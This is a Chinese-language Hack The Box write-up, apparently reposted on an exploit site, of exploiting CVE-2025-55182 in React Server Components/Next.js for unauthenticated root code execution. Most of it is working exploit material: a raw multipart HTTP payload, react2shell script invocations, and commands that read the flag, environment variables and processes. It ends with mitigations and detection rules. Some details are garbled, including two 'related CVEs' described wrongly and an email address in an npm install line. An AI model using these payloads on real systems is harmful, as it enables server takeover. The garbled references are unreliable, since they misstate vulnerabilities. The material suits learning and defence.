## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-THESTINGR-REACTOOPS-WRITEUP
# ReactOOPS - HTB Web 挑战 Writeup
      
**作者** :TheStingR - Team ISP1337Hackers
**挑战** :ReactOOPS(Web)
**平台** :Hack The Box
**难度** :非常简单 - 已退役
**解决日期** :2025年12月13日
## 目录
1. 执行摘要
2. 挑战描述
3. 漏洞分析
4. 侦察与枚举
5. 利用步骤详解
6. Flag 提取
7. 技术深度剖析
8. 防御与缓解措施
9. 经验教训
* * *
## 执行摘要
**ReactOOPS** 是一个利用 **CVE-2025-55182 / CVE-2025-66478** 的 Web 挑战,该漏洞是 React Server Components 和 Next.js App Router 中一个严重的未认证远程代码执行漏洞。
**关键发现:**
* ✅ 服务器:Next.js 16.0.6 + React 19(易受攻击)
* ✅ 漏洞:Flight 协议反序列化中缺少 `hasOwnProperty` 检查
* ✅ 影响:未经认证即可获得 root 权限的远程代码执行(RCE)
* ✅ 利用:只需要单个 HTTP POST 请求
* * *
## 挑战描述
### 初步评估
该挑战展示了一个精致的 Next.js 应用程序,运行着 NexusAI 的助手界面。该应用似乎通过 React Server Components 处理用户输入,但响应式层中微小的故障暗示着底层存在漏洞。
### 技术栈
* **框架** :Next.js 16.0.6
* **React 版本** :19.x
* **部署方式** :Docker 容器(Next.js standalone 构建)
* **服务器端口** :50183
### 为什么存在漏洞?
该应用使用:
1. **React Server Components (RSC)** \- 具备客户端通信的服务端渲染
2. **Flight 协议** \- RSC 数据传输的序列化格式
3. **易受攻击的依赖** \- 未安装安全补丁的 react-server-dom-webpack
* * *
## 漏洞分析
### CVE-2025-55182 / CVE-2025-66478 概览
#### 什么是 Flight 协议?
Flight 协议是 React 专有的序列化格式,用于在 Server Component 架构中在服务端和客户端之间传输数据。它使用如下引用:
* `$1` \- 指向位置 1 处对象的引用
* `$1:path:to:value` \- 属性路径遍历
#### 缺失的安全检查
**React 的 ReactFlightReplyServer.js 中的易受攻击代码:**
root@kitploit:~
// Line ~450: getOutlinedModel function
function getOutlinedModel(response, id) {
let chunk = chunks.get(id);
const value = chunk.value;
// Process references like "$1:path:to:value"
if (reference.startsWith('$')) {
const refId = parseInt(reference.slice(1).split(':')[0]);
const path = reference.slice(1).split(':').slice(1);
let obj = chunks.get(refId).value;
// VULNERABLE LOOP - NO hasOwnProperty CHECK!
for (let i = 0; i < path.length; i++) {
obj = obj[path[i]]; // ← Allows prototype chain access
}
return obj;
}
}
**安全版本(本应如此):**
root@kitploit:~
for (let i = 0; i < path.length; i++) {
if (Object.prototype.hasOwnProperty.call(obj, path[i])) {
obj = obj[path[i]];
} else {
throw new Error('Invalid property access');
}
}
#### 为什么这很重要
如果没有 `hasOwnProperty` 检查,攻击者可以遍历:
root@kitploit:~
myObject[__proto__][then] → Chunk.prototype.then
myObject[__proto__][constructor] → Function
myObject[__proto__][constructor][prototype] → function.prototype
#### 利用链
root@kitploit:~
Step 1: Send reference "$1:__proto__:then"
│
├─ Access myChunk[__proto__]
└─ Then access [then] on the prototype
Step 2: Create fake Promise-like object
│
└─ { then: maliciousFunction }
Step 3: React calls await on this object
│
├─ Invokes the .then() method
└─ Executes attacker's function
Step 4: Arbitrary Code Execution
│
└─ Code runs in server context as root
#### 为什么没有身份验证检查?
该漏洞存在于 Next-Action 验证**之前** :
root@kitploit:~
Request Processing Flow:
├─ Parse multipart form data
├─ Deserialize Flight protocol ← RCE HAPPENS HERE
│ └─ Process references and objects
│ └─ No hasOwnProperty check!
├─ Extract Next-Action header
├─ Validate action ID ← This comes AFTER
└─ Execute action handler
通过在反序列化过程中触发 RCE,攻击者可以绕过所有 action 级别的安全检查。
* * *
## 侦察与枚举
### 第 1 步:初始连接测试
root@kitploit:~
# Test if service is responding
curl -v http://<IP>:PORT/
**预期结果** :Next.js 应用返回 HTML,且启用了 RSC
### 第 2 步:技术识别
查找以下特征:
* 包含 `next-` 前缀的响应头
* 包含 `<script type="text/x-component">` 的 HTML
* 存在 `.next` 目录产物
* 没有明显认证的 POST 端点
### 第 3 步:漏洞检测
最可靠的判断方法是尝试一次原型污染攻击并观察响应:
root@kitploit:~
# Non-destructive detection payload
# Sends: ["$1:a:a"] referencing {}
# Vulnerable: {}.a.a throws → HTTP 500 + E{"digest"
# Patched: hasOwnProperty prevents access → no crash
* * *
## 利用步骤详解
### 环境搭建
root@kitploit:~
# Navigate to challenge directory
cd /Challenges/ReactOOPS
# Clone react2shell exploit framework
git clone https://github.com/freeqaz/react2shell.git
# Verify all scripts are executable
chmod +x react2shell/*.sh
### 阶段 1:检测(非破坏性验证)
**目标** :在不造成破坏的情况下确认服务器存在漏洞
root@kitploit:~
cd react2shell
# Run the detection probe
./detect.sh http://<IP>:PORT
**它的作用:**
1. 创建一个带有 `Next-Action: x` 头的 multipart POST 请求
2. 发送引用空对象 `{}` 的载荷:`["$1:a:a"]`
3. 在易受攻击的服务器上:JavaScript 尝试访问 `{}.a.a`
4. 缺少 hasOwnProperty 检查导致崩溃
5. 服务器返回带有错误摘要的 HTTP 500
**预期输出:**
root@kitploit:~
[*] React2Shell Detection Probe (CVE-2025-55182 / CVE-2025-66478)
[*] Target: http://<IP>:PORT
[*] HTTP Status: 500
[!] VULNERABLE - Server returned 500 with E{"digest" pattern
[*] Response body:
0:{\"a\":\"$@1\",\"f\":\"\",\"b\":\"s8I48LfEDhqpCdFN5-HbU\"}
1:E{\"digest\":\"346246470\"}
[!] This server is running a vulnerable version of React RSC / Next.js
**结果解读:**
* HTTP 500:✅ 检测到崩溃
* 响应中包含 `E{"digest"`:✅ React 错误处理格式
* 结论:服务器存在漏洞
### 阶段 2:远程代码执行(概念验证)
**目标** :验证任意命令执行
root@kitploit:~
# Execute the 'id' command on the remote server
./exploit-redirect.sh -q http://<IP>:PORT "id"
**它的作用:**
1. 构造包含命令载荷的 multipart payload
2. 将命令嵌入原型污染引用中
3. 发送带有 `Next-Action: x` 的 POST 请求
4. 服务器在处理过程中反序列化并执行命令
5. 通过 HTTP 303 重定向返回命令输出
**预期输出:**
root@kitploit:~
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)
**关键洞察** :输出显示 `uid=0(root)` \- Web 服务器正以 root 身份运行!这是一个放大了影响的安全配置错误。
### 阶段 3:信息收集
**目标** :梳理文件系统并定位敏感文件
root@kitploit:~
# Check current working directory
./exploit-redirect.sh -q http://<IP>:PORT "pwd"
# Output: /app/.next/standalone
# List application root directory
./exploit-redirect.sh -q http://<IP>:PORT "ls -la /app"
**发现的目录结构:**
root@kitploit:~
/app/
├── .next/ # Next.js build output
├── node_modules/ # Dependencies
├── app/ # Application source code
├── public/ # Static assets
├── flag.txt # ✅ TARGET FILE (mode 600)
├── package.json
└── tsconfig.json
**关键发现** :flag 文件位于 `/app/flag.txt`,权限受限(600)
### 阶段 4:Flag 提取
**目标** :读取 flag 文件
root@kitploit:~
# Read the flag
./exploit-redirect.sh -q http://<IP>:PORT> "cat /app/flag.txt"
**输出:**
root@kitploit:~
HTB{jus7_REDACTED_2025-55182}
✅ **挑战完成!**
* * *
## 技术深度剖析
### 载荷结构解析
该利用构造了一个 Flight 协议载荷。命令载荷如下所示:
root@kitploit:~
POST / HTTP/1.1
Host: <IP>>:PORT
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryXXXX
Next-Action: x
------WebKitFormBoundaryXXXX
Content-Disposition: form-data; name="1"
{
"then": "$1:__proto__:then",
"status": "resolved_model",
"value": "{\"cmd\":\"id\"}",
"_response": {
"id": "1",
"chunks": []
}
}
------WebKitFormBoundaryXXXX
Content-Disposition: form-data; name="0"
"$@1"
------WebKitFormBoundaryXXXX--
### 反序列化流程
root@kitploit:~
1. Parse multipart form data
→ name="1" → JSON object with "then" property
→ name="0" → String "$@1"
2. Process references
→ "$@1" means "reference to chunk 1"
→ Look up chunk[1].value
3. Resolve reference path
→ Reference: "$1:__proto__:then"
→ Split on colons: ["", "__proto__", "then"]
→ Start with chunk[1]
→ Access [__proto__] → traverse to prototype
→ Access [then] → access then method
4. Construct fake Promise
→ Create object with .then() method
→ Method contains command payload
5. Execute Promise .then()
→ React treats as Promise-like
→ Calls the .then() handler
→ CODE EXECUTES AS ROOT
### 各利用脚本为何不同
脚本| 机制| HTTP 代码| 检测特征
---|---|---|---
**exploit-redirect.sh**| 原型遍历 + Promise 链| 303| x-action-redirect
**exploit-throw.sh**| try-catch 中触发错误| 500| 错误信息位于响应体中
**exploit-blind.sh**| 侧信道(文件写入、DNS)| 200| 带外(Out-of-band)
**exploit-reflect.sh**| 在响应中直接回显| 200| 响应体中的命令输出
**shell.sh**| 交互式封装| 因情况而异| REPL 交互界面
我们使用了 `exploit-redirect.sh`,原因如下:
* ✅ 无需有效的 action ID 即可工作
* ✅ 可靠的 303 响应
* ✅ 输出可见性好
* ✅ 不受错误页干扰
* * *
## 防御与缓解措施
### 针对易受攻击的系统
**立即采取的行动(在修补之前):**
1. **如非必要,禁用 RSC**
root@kitploit:~
// next.config.js
module.exports = {
experimental: {
rsc: false // Disable React Server Components
}
}
2. **限制 Next-Action 的使用**
root@kitploit:~
// middleware.ts
export function middleware(request) {
// Reject all POST requests with Next-Action
if (request.method === 'POST' &&
request.headers.has('next-action')) {
return new Response('Forbidden', { status: 403 });
}
}
3. **网络分段**
root@kitploit:~
# Only allow trusted sources
iptables -A INPUT -p tcp --dport 50183 -s TRUSTED_IP -j ACCEPT
iptables -A INPUT -p tcp --dport 50183 -j DROP
**立即修补:**
root@kitploit:~
# Update Next.js
npm install next@latest
# Or specific patched version
npm install some-email@example.com
# Verify versions
npm ls next react-server-dom-webpack
### 适用于所有系统
**安全加固:**
1. **以非 root 身份运行 Web 服务器**
root@kitploit:~
# DON'T do this:
RUN npm start # As root
# DO this:
RUN useradd -u 1000 nextjs
USER nextjs
CMD ["npm", "start"]
2. **输入验证**
root@kitploit:~
// Validate all Flight protocol inputs
app.post('/api/*', (req, res) => {
// Check for suspicious patterns
const body = JSON.stringify(req.body);
if (body.includes('__proto__') ||
body.includes('constructor') ||
body.includes('prototype')) {
return res.status(400).send('Invalid input');
}
});
3. **速率限制**
root@kitploit:~
// Limit POST requests per IP
app.post('/api/*', rateLimit({
windowMs: 60 * 1000,
max: 10
}));
### 检测与监控
**WAF 规则:**
root@kitploit:~
# Detect prototype pollution attempts
If Request.Method == "POST" AND
Request.Body Contains "__proto__" OR
Request.Body Contains ":then" OR
Request.Body Contains ":constructor"
Then Alert + Block
**日志监控:**
root@kitploit:~
# Look for suspicious patterns
grep -E '__proto__|constructor|:then' /var/log/nginx/access.log
grep 'HTTP 500.*digest' /var/log/nginx/error.log
**行为检测:**
root@kitploit:~
// Monitor for unusual command execution
const childProcess = require('child_process');
const original_spawn = childProcess.spawn;
childProcess.spawn = function(...args) {
console.log('[SECURITY] Command execution attempted:', args[0]);
// Implement policy enforcement
return original_spawn.apply(this, args);
};
* * *
## 经验教训
### 安全经验
1. **一个缺失的检查 = 严重漏洞**
* `hasOwnProperty` 保护被导入但从未使用
* 一行缺失的验证最终级联成 RCE
* **经验** :代码审查必须验证所有保护真正被使用
2. **原型链很危险**
* JavaScript 的原型链可能被利用进行非预期的属性访问
* 对象属性访问看起来无害:`obj[key]`
* **经验** :对不受信任的输入始终使用 `hasOwnProperty` 或 `Object.create(null)`
3. **在验证之前进行反序列化是危险的**
* 代码在反序列化期间、身份验证之前执行
* 正常流程:身份验证 → 验证 → 处理
* 易受攻击的流程:解析 → 执行代码 → 验证(为时已晚!)
* **经验** :绝不在反序列化不受信任数据时执行代码
4. **默认进程权限很重要**
* Web 服务器以 root 身份运行放大了影响
* 服务器被攻破 = 完全控制系统
* **经验** :始终以所需的最低权限运行服务
### 利用方面的经验
1. **非破坏性检测很有价值**
* `detect.sh` 在不造成破坏的情况下证明漏洞存在
* 允许评估者在利用之前验证漏洞
* **最佳实践** :始终包含检测阶段
2. **系统化的侦察**
* 从检测开始
* 随后进行 RCE 验证
* 然后进行信息收集
* 最后提取 flag
* **最佳实践** :不要直接跳到利用,先收集情报
3. **理解技术原理**
* 对 Flight 协议的了解有助于利用
* 理解 Next.js 架构是关键
* 了解 JavaScript 原型链至关重要
* **最佳实践** :在利用之前先研究技术栈
* * *
## 时间线
时间| 操作| 结果
---|---|---
T+0s| 初始连接测试| 服务正常响应
T+10s| 运行 detect.sh| 确认存在漏洞
T+30s| 执行 `id` 命令| 确认 root 权限
T+1m| 列出 /app 目录| 找到 flag 位置
T+1m 30s| 读取 flag 文件| 提取 flag
T+2m| 验证| 挑战完成
* * *
## 参考资料
### 官方文档
* CVE-2025-55182
* CVE-2025-66478
* React Server Components
* Flight Protocol
### 利用资源
* react2shell Repository
* EXPLOIT_NOTES.md
* PAYLOAD_REFERENCE.md
### 相关 CVE
* CVE-2023-46805:React 原型污染(相似但不同)
* CVE-2024-4761:服务器组件 XSS
* * *
## 附录:命令参考
### 快速利用
root@kitploit:~
# One-liner exploit
cd /ReactOOPS/react2shell && \
./exploit-redirect.sh -q http://<IP>:PORT>"cat /app/flag.txt"
### 交互式 Shell
root@kitploit:~
# Launch full interactive shell
./shell.sh http://<IP>:PORT
# Common commands:
id # Show user info
pwd # Current directory
ls -la # List files
cat /app/flag.txt # Read flag
cd /var/log # Change directory
download flag.txt # Download file
### 信息收集
root@kitploit:~
# System information
./exploit-redirect.sh -q http://<IP>:PORT "uname -a"
# Environment variables
./exploit-redirect.sh -q http://<IP>:PORT "env"
# Running processes
./exploit-redirect.sh -q http://<IP>:PORT "ps aux"
# Network connections
./exploit-redirect.sh -q http://<IP>:PORT "netstat -tuln"
# Application source
./exploit-redirect.sh -q http://<IP>:PORT "cat /app/package.json"